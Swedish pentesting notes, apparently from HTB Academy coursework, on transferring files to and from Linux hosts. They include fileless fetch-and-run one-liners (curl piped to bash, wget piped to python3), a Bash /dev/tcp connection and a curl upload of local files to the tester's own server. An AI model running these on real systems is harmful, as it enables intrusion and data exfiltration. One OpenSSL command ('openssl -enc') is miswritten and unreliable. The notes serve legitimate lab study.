Linux
Olika sätt att överföra filer till och från Linux-system. I huvudsak hämtat från HTB Academy.
Överföring genom Base64-kodning
Steg 1 - Ta fram checksumma för filen
md5sum <filnamn>
Steg 2 - Base64-koda filen
cat <filnamn> | base64 -w 0;echo
Steg 3 - Konvertera tillbaka filen
echo <Base64-checksumma> | base64 -d > <filnamn>
Steg 4 - Kontrollera att checksumman stämmer från steg 1
md5sum <filnamn>
Överföring med Wget
Exempel 1:
wget https://<URL>/<filnamn> -O <önskat filnamn>
Överföring med cURL
Exempel 1:
curl -o <önskat filnamn> https://<URL>/<filnamn>
Överföring med Wget (utan fil)
Exempel 1:
Exekvera Python-skript direkt vid överföring utan att filen sparas på disk
wget -qO- https://<URL>/<python-skript> | python3
Överföring med cURL (utan fil)
Exempel 1:
Exekvera ett skript med Bash direkt vid överföring utan att filen sparas på disk
curl https://<URL>/<fil> | bash
Överföring med Bash (/dev/tcp)
Steg 1:
Anslut till webbserver
exec 3<>/dev/tcp/<egen IP-adress>/<port>
Steg 2:
HTTP Get Request
echo -e "GET /<filnamn> HTTP/1.1\n\n">&3
Steg 3:
Print:a svaret
cat <&3
Överföring med SSH
SSH-implementationen kommer med ett verktyg som heter SCP för att kunna överföra filer via SSH-protokollet. SCP (Secure Copy) är ett kommandotolksverktyg som gör det möjligt att kopiera filer och mappar mellan två klienter på ett säkert sätt. Man kan kopiera både från lokal klient --> fjärrklient/server och fjärrklient/server --> lokal klient. SCP är väldigt likt "copy" eller "cp" men istället för att erbjuda en lokal sökväg så specificerar man ett användarnamn, lösenord och IP på fjärrklient/DNS-namn.
Steg 1:
Starta en SSH-server
# Aktivera SSH-tjänsten
sudo systemctl enable ssh
# Starta SSH-tjänsten
sudo systemctl start ssh
Steg 2:
Kontrollera att port 22 är i "listen"-status
netstat -lnpt
Steg 3:
Överför filer med SCP. Man kan skapa en tillfällig användare om man inte vill använda sin vanliga användare
scp <användare>@<egen IP-adress>:/<sökväg till fil> .
Web Uploads
Steg 1:
Skapa ett självsignerat certifikat (för att kunna köra över HTTPS, för säkrare kommunikation)
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
Steg 2:
Starta webbservern på port 443, med certifikatet. OBS! Se till att inte webbservern host:ar certifikatet.
python3 -m uploadserver 443 --server-certificate /<sökväg till cert>/<pem-filen>
Steg 3
Ladda upp filer
curl -X POST https://<egen IP-adress>/upload -F 'files=@/<sökväg till fil>/<filnamn>' -F 'files=@/<sökväg till fil>/<filnamn>' --insecure
Alternativa metoder för filöverföring
Beroende på vad som är installerat kan man behöva använda andra program för att starta en webbserver.
Exempel 1: Webbserver med Python2.7
python2.7 -m SimpleHTTPServer
Exempel 2: Webbserver med PHP
php -S 0.0.0.0:<portnummer>
Exempel 3: Webbserver med Ruby
ruby -run -ehttpd . -p<portnummer>
Exempel 4: Filöverföring med Wget
wget <egen IP-adress>:<portnr>/<filnamn>
Exempel 5: Uppladdning med SCP
scp /<sökväg>/<filnamn> <användare>@<egen IP-adress>:/<sökväg>/
Filkryptering i Linux
Exempel 1
OpenSSL-kryptering
Steg 1:
Kryptera önskad fil
openssl -enc -<val av chiffer> -iter 100000 -pbkdf2 -in <filnamn> -out <önskat filnamn>
Därefter får man ange önskat lösenord för krypteringen, viktigt att välja ett starkt lösenord för att kunna undvika brute force-försök.
Steg 2:
Dekryptera filen
openssl enc -d -<valda chiffret> -iter 100000 -pbkdf2 -in <filnamn efter kryptering> -out <önskat filnamn>
Last updated